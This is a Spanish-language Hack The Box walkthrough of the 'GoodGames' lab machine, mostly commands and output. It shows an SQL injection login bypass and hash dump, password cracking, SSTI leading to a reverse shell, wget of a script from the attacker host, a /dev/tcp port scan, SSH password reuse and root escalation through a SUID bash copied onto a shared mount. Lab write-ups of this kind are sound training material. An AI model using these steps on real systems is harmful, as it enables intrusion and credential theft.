GoodGames - Hack The Box
❯ ping -c 1 10.10.11.130
PING 10.10.11.130 (10.10.11.130) 56(84) bytes of data.
64 bytes from 10.10.11.130: icmp_seq=1 ttl=63 time=98.0 ms
--- 10.10.11.130 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 98.041/98.041/98.041/0.000 ms
❯ whichSystem.py 10.10.11.130
10.10.11.130 (ttl -> 63): Linux
PortScan
❯ nmap -sCV -p80 10.10.11.130 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-05 16:24 CST
Nmap scan report for 10.10.11.130
Host is up (0.095s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service Info: Host: goodgames.htb
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.54 seconds
Enumeracion
Pues bueno en este caso solo tenemos el puerto 80 abierto es curioso pero bueno vemos que se esta usando Python por detrás lo mas probable es que vallamos a explotar lo mas probable es que haya algún SSTI o alguna otra cosa pero bueno también vemos un subdominio así que vamos a agregarlo al /etc/hosts
❯ echo "10.10.11.130 goodgames.htb" | sudo tee -a /etc/hosts
10.10.11.130 goodgames.htb
❯ ping -c 1 goodgames.htb
PING goodgames.htb (10.10.11.130) 56(84) bytes of data.
64 bytes from goodgames.htb (10.10.11.130): icmp_seq=1 ttl=63 time=102 ms
--- goodgames.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 101.702/101.702/101.702/0.000 ms
Con la herramienta whatweb
vamos a ver las tecnologías que corre el servicio web
❯ whatweb http://goodgames.htb
http://goodgames.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.9.2], IP[10.10.11.130], JQuery, Meta-Author[_nK], PasswordField[password], Python[3.9.2], Script, Title[GoodGames | Community and Store], Werkzeug[2.0.2], X-UA-Compatible[IE=edge]
Bueno si vemos desde el navegador la pagina la verdad es que es lo mismo no cambia nada como tal
Esta es cuando ponemos la IP
Y esta es cuando no podemos el subdominio en si no cambia nada vemos lo mismo
Bueno nos vamos a quedar con la que sea igual es lo mismo si analizamos la web vemos que básicamente se trata de una tienda de videojuegos y post de los mismos
Si nos vamos ala ruta /store
vemos que nos dicen coming soon
Si nos vamos al icono de ese nos sale esta ventana emergente para poder logearnos
Si le damos en que no tenemos una cuenta nos lleva a este apartado vamos a registrarnos para ver si nos deja
Si le damos el SIGN UP vemos que como tal nos crea la cuenta vamos a conectarnos para ver si es cierto
Si le damos al boton de LOGIN vemos que nos redirige aquí /profile
Bueno vemos que nos dicen que podemos cambiar nuestra foto de perfil y correo electrónico
SQL Injection
Bueno algo que podemos hacer es conectarnos de nuevo e interceptar la petición con Burpsuite para ver como viaja la petición
❯ burpsuite &>/dev/null & disown
[1] 45167
Vamos a enviar la petición al Repeater con ctrl+r
si enviamos le petición como tal nos dice que Login Sucess
Bueno si recordamos nos decían que podíamos cambiar nuestro correo y hacer cambios y como de momento tenemos el control de los parámetros podemos hacer algunas pruebas ya que si nos conecta y nos da una cookie vemos la respuesta con esto también
Bueno como tal podemos probar una SQL Injection ya que como podemos cambiar el correo podemos ver si algún campo es vulnerable y no esta bien satinizado por detrás
Si probamos con una inyección básica para burlar el panel de login ' or 1=1-- -
vemos que funciona y nos dice que como tal Login Sucess
Para verlo reflejado en la web debemos hacerlo desde la parte del Intercept para estar conectados como el usuario administrador
lo mas probable
Bueno al darle a Forward vemos que si estamos conectados
Pero bueno como es una inyección de tipo Union podemos seguir enumerando a través de la inyección para dumpear usuarios y contraseñas que estén hay
SQL Injection dumpeando datos
Si vemos el numero de columnas y probamos con 5 nos sale esto
Pero si podemos 4 vemos la respuesta cambia así que con esto sabemos que hay 4
Bueno ahora vamos a ver la base de datos actualmente en uso pero para eso primero debemos de ver si vemos algún campo reflejado en la respuesta para inyectar hay directamente o ir de 1 en 1 para ver cual funciona en caso de verlo
Bueno ahora vemos la base de datos actualmente en uso
Si verificamos las bases de datos solo vemos estas 2
Vamos a ver las tablas de la base de datos main
Vemos que tiene 3 tablas
Y bueno ahora vamos a enumerar las columnas de la tabla User
Vamos a mostrar todos los campos separados por :
Vemos el hash de admin y del usuario que registramos
❯ catn hash.txt
admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec
Bueno vemos que el hash es de tipo MD5
❯ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: 2b22337f218b2d82dfc3b6f77e7cb8ec
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)
[+] MD2(HMAC)
[+] MD5(HMAC(Wordpress))
[+] Haval-128
[+] Haval-128(HMAC)
[+] RipeMD-128
[+] RipeMD-128(HMAC)
[+] SNEFRU-128
[+] SNEFRU-128(HMAC)
[+] Tiger-128
[+] Tiger-128(HMAC)
[+] md5($pass.$salt)
[+] md5($salt.$pass)
[+] md5($salt.$pass.$salt)
[+] md5($salt.$pass.$username)
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($salt.$pass))
[+] md5($salt.md5(md5($pass).$salt))
[+] md5($username.0.$pass)
[+] md5($username.LF.$pass)
[+] md5($username.md5($pass).$salt)
[+] md5(md5($pass))
[+] md5(md5($pass).$salt)
[+] md5(md5($pass).md5($salt))
[+] md5(md5($salt).$pass)
[+] md5(md5($salt).md5($pass))
[+] md5(md5($username.$pass).$salt)
[+] md5(md5(md5($pass)))
[+] md5(md5(md5(md5($pass))))
[+] md5(md5(md5(md5(md5($pass)))))
[+] md5(sha1($pass))
[+] md5(sha1(md5($pass)))
[+] md5(sha1(md5(sha1($pass))))
[+] md5(strtoupper(md5($pass)))
--------------------------------------------------
HASH:
Vamos a crackearlo
❯ john -w:/usr/share/wordlists/rockyou.txt hash.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
superadministrator (admin@goodgames.htb)
1g 0:00:00:00 DONE (2023-07-05 17:44) 1.923g/s 6686Kp/s 6686Kc/s 6686KC/s superarely1993..super'star007
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
Bueno tenemos credenciales pero como tal ya estamos conectados como el admin así que tenemos que buscar otra forma de usarlas no había mas puertos abiertos
Si vamos al panel donde ya estamos como el admin si queremos dar click aquí nos redirige a este subdominio
Vamos agregarlo al /etc/hosts
❯ cat /etc/hosts | tail -n 1
10.10.11.130 goodgames.htb internal-administration.goodgames.htb
Server Side Template Injection (SSTI)
Bueno encontramos este panel de login vemos que usa flask a si que ya sabemos que tendremos que explotar una vulnerabilidad web
❯ whatweb http://internal-administration.goodgames.htb/login
http://internal-administration.goodgames.htb/login [200 OK] Bootstrap, Cookies[session], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.6.7], HttpOnly[session], IP[10.10.11.130], Meta-Author[Themesberg], Open-Graph-Protocol[website], PasswordField[password], Python[3.6.7], Script, Title[Flask Volt Dashboard - Sign IN | AppSeed][Title element contains newline(s)!], Werkzeug[2.0.2]
Si probamos las credenciales que tenemos vemos que funcionan admin:superadministrator
Si examinamos y seleccionamos el Current User:admin y vemos a profile podemos introducir nosotros los campos que nos dejan y vemos el output reflejado
Bueno como tenemos el control del campo full name podemos aplicar un SSTI
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
Si aplicamos una inyección básica vemos que funciona
Podemos ver si podemos como tal ejecutar código y si
Vemos que estamos como el usuario root lo cual es raro ya que no siempre suele pasar esto pero bueno lo mas probable es que ganemos acceso a un contenedor
Shell as root in a container
Como podemos ejecutar comandos vamos a enviarnos una reverse shell
Nos ponemos en escucha
❯ nc -nlvp 443
Listening on 0.0.0.0 443
Y bueno una vez podemos todo ese payload en el campo Full Name y le damos en Save all tenemos la shell
❯ nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.130 60676
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
whoami
root
root@3a453ab39d3d:/backend#
Vamos a hacer un tratamiento de la tty
root@3a453ab39d3d:/backend# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@3a453ab39d3d:/backend# ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
ENTER
root@3a453ab39d3d:/backend# export TERM=xterm
Y bueno estamos en un contenedor
root@3a453ab39d3d:/backend# hostname -I
172.19.0.2
root@3a453ab39d3d:/backend#
User flag
Aquí esta la flag
root@3a453ab39d3d:/home/augustus# cat user.txt
46f7ebd0f7b62991cb78d5f1a0792453
root@3a453ab39d3d:/home/augustus#
Bueno el usuario augustus existe así que de alguna forma tenemos que tratar de conectarnos como ese usuario
Enumeration container
Pero el usuario no existe en nuestro en /etc/passwd
root@3a453ab39d3d:/home/augustus# cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
root@3a453ab39d3d:/home/augustus# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
root@3a453ab39d3d:/home/augustus# cat /etc/passwd | grep augustus
root@3a453ab39d3d:/home/augustus#
También vemos que el identificador es 1000
pero no existe nadie con ese
root@3a453ab39d3d:/home/augustus# ls -la
total 24
drwxr-xr-x 2 1000 1000 4096 Dec 2 2021 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 2021 .profile
-rw-r----- 1 root 1000 33 Jul 5 22:15 user.txt
root@3a453ab39d3d:/home/augustus#
root@3a453ab39d3d:/home/augustus# cat /etc/passwd | grep 1000
Bueno algo que podemos hacer es ver en donde esta montando /home/augustus ya que como tal podemos verlo en el contenedor pero como el usuario existe lo mas probable es que en la maquina real pues este también
Si vemos las monturas vemos que el usuario augustus
como tal si existe y vemos que esta montada su ruta en nuestro contenedor
root@3a453ab39d3d:/home/augustus# mount | grep -vE "tmpfs|shm|proc|cgroup|overlay|mqueue|devpts|sysfs" | head -n 1
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
root@3a453ab39d3d:/home/augustus# mount | grep augustus
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
root@3a453ab39d3d:/home/augustus#
Bueno vamos a ver los puertos abiertos que tiene este contenedor pero podemos saber que la ip es esta 172.19.0.1
mediante un bucle for en este caso no es necesario enviar una cadena vacía ya que tenemos ping y podemos enumerar gracias a eso
root@3a453ab39d3d:/home/augustus# for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &);done;
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.025 ms
root@3a453ab39d3d:/home/augustus#
Ahora vamos a hacer un script en bash para ver los puertos abiertos de la maquina pero nano
no funciona así que lo que haremos es básicamente crear el script desde nuestra maquina de atacante para transferirlo ala maquina victima
root@3a453ab39d3d:/opt# nano
También podemos ejecutar un oneliner para descubrir los puertos
root@3a453ab39d3d:/opt# for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port -> open"; done 2>/dev/null
22 -> open
80 -> open
root@3a453ab39d3d:/opt#
Pero bueno de esta forma podemos hacer el script en bash
❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.130 - - [05/Jul/2023 18:46:06] "GET /portDiscovery.sh HTTP/1.1" 200 -
Ahora lo transferimos ala maquina victima
root@3a453ab39d3d:/opt# wget http://10.10.14.12:8080/portDiscovery.sh
--2023-07-06 00:46:04-- http://10.10.14.12:8080/portDiscovery.sh
Connecting to 10.10.14.12:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 158 [text/x-sh]
Saving to: ‘portDiscovery.sh’
portDiscovery.sh 100%[=======================================================>] 158 --.-KB/s in 0s
2023-07-06 00:46:04 (11.1 MB/s) - ‘portDiscovery.sh’ saved [158/158]
root@3a453ab39d3d:/opt#
Este es el script
root@3a453ab39d3d:/opt# cat portDiscovery.sh
#!/bin/bash
for port in $(seq 1 65535); do
timeout 1 bash -c "echo '' > /dev/tcp/172.19.0.1/$port" 2>/dev/null && echo "[+] Port $port - OPEN" &
done; wait
root@3a453ab39d3d:/opt#
Si lo ejecutamos vemos los mismos puertos
root@3a453ab39d3d:/opt# chmod +x portDiscovery.sh
root@3a453ab39d3d:/opt# ./portDiscovery.sh
[+] Port 22 - OPEN
[+] Port 80 - OPEN
^C
root@3a453ab39d3d:/opt#
Como tenemos una contraseña lo que podemos hacer es reutilizarla superadministrator
para poder conectarnos con el usuario augustus por SSH a esa IP
Shell as augustus
root@3a453ab39d3d:/opt# ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ export TERM=xterm
augustus@GoodGames:~$ whoami
augustus
augustus@GoodGames:~$
Vemos que ahora estamos en la maquina victima
augustus@GoodGames:~$ hostname -I
10.10.11.130 172.19.0.1 172.17.0.1 dead:beef::250:56ff:feb9:cd79
augustus@GoodGames:~$
Escalada de privilegios
Y bueno si observamos son los mismos archivos que vimos en el contenedor
augustus@GoodGames:~$ ls -la
total 24
drwxr-xr-x 2 augustus augustus 4096 Dec 2 2021 .
drwxr-xr-x 3 root root 4096 Oct 19 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 augustus augustus 807 Oct 19 2021 .profile
-rw-r----- 1 root augustus 33 Jul 5 23:15 user.txt
augustus@GoodGames:~$
Como todo el directorio esta montando en el contenedor si creamos un archivo lo vamos a ver reflejado en el contenedor donde estamos como root
augustus@GoodGames:~$ ls -la
total 24
drwxr-xr-x 2 augustus augustus 4096 Dec 2 2021 .
drwxr-xr-x 3 root root 4096 Oct 19 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 augustus augustus 807 Oct 19 2021 .profile
-rw-r----- 1 root augustus 33 Jul 5 23:15 user.txt
augustus@GoodGames:~$ touch xd.txt
augustus@GoodGames:~$ exit
logout
Connection to 172.19.0.1 closed.
root@3a453ab39d3d:/opt# cd /home/augustus/
root@3a453ab39d3d:/home/augustus# ls -la
total 24
drwxr-xr-x 2 1000 1000 4096 Jul 6 01:05 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 2021 .profile
-rw-r----- 1 root 1000 33 Jul 5 22:15 user.txt
-rw-r--r-- 1 1000 1000 0 Jul 6 01:05 xd.txt
root@3a453ab39d3d:/home/augustus#
Todo lo que creamos en la maquina real como augustus se ve reflejado en el contenedor lo que podemos hacer es copear la Bash
a nuestro directorio y desde el contenedor como estamos como root asignarle privilegios SUID y hacer propietario a root ala bash para desde la shell con SSH como augustus hacer un ./bash -p por que podemos ver reflejado lo que hagamos en la maquina real y en el contenedor en ese directorio
augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ ls -la
total 1232
drwxr-xr-x 2 augustus augustus 4096 Jul 6 02:10 .
drwxr-xr-x 3 root root 4096 Oct 19 2021 ..
-rwxr-xr-x 1 augustus augustus 1234376 Jul 6 02:10 bash
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 augustus augustus 807 Oct 19 2021 .profile
-rw-r----- 1 root augustus 33 Jul 5 23:15 user.txt
augustus@GoodGames:~$
Ahora vamos al contenedor otra vez para asignarle el usuario y grupo root:root ala bash y privilegios SUID
augustus@GoodGames:~$ exit
logout
Connection to 172.19.0.1 closed.
root@3a453ab39d3d:/home/augustus# ls -l
total 1212
-rwxr-xr-x 1 1000 1000 1234376 Jul 6 01:10 bash
-rw-r----- 1 root 1000 33 Jul 5 22:15 user.txt
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# ls -l
total 1212
-rwxr-xr-x 1 root root 1234376 Jul 6 01:10 bash
-rw-r----- 1 root 1000 33 Jul 5 22:15 user.txt
root@3a453ab39d3d:/home/augustus# chmod 4755 bash
root@3a453ab39d3d:/home/augustus# ls -l
total 1212
-rwsr-xr-x 1 root root 1234376 Jul 6 01:10 bash
-rw-r----- 1 root 1000 33 Jul 5 22:15 user.txt
root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1
augustus@172.19.0.1's password:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 6 02:06:32 2023 from 172.19.0.2
augustus@GoodGames:~$
Shell as root && root flag
Ahora la bash es SUID
augustus@GoodGames:~$ ls -l
total 1212
-rwsr-xr-x 1 root root 1234376 Jul 6 02:10 bash
-rw-r----- 1 root augustus 33 Jul 5 23:15 user.txt
augustus@GoodGames:~$
Y nos conectamos
augustus@GoodGames:~$ ./bash -p
bash-5.1# whoami
root
bash-5.1#
bash-5.1# cd /root
bash-5.1# cat root.txt
58456af89668c685b38294159a8016af
bash-5.1#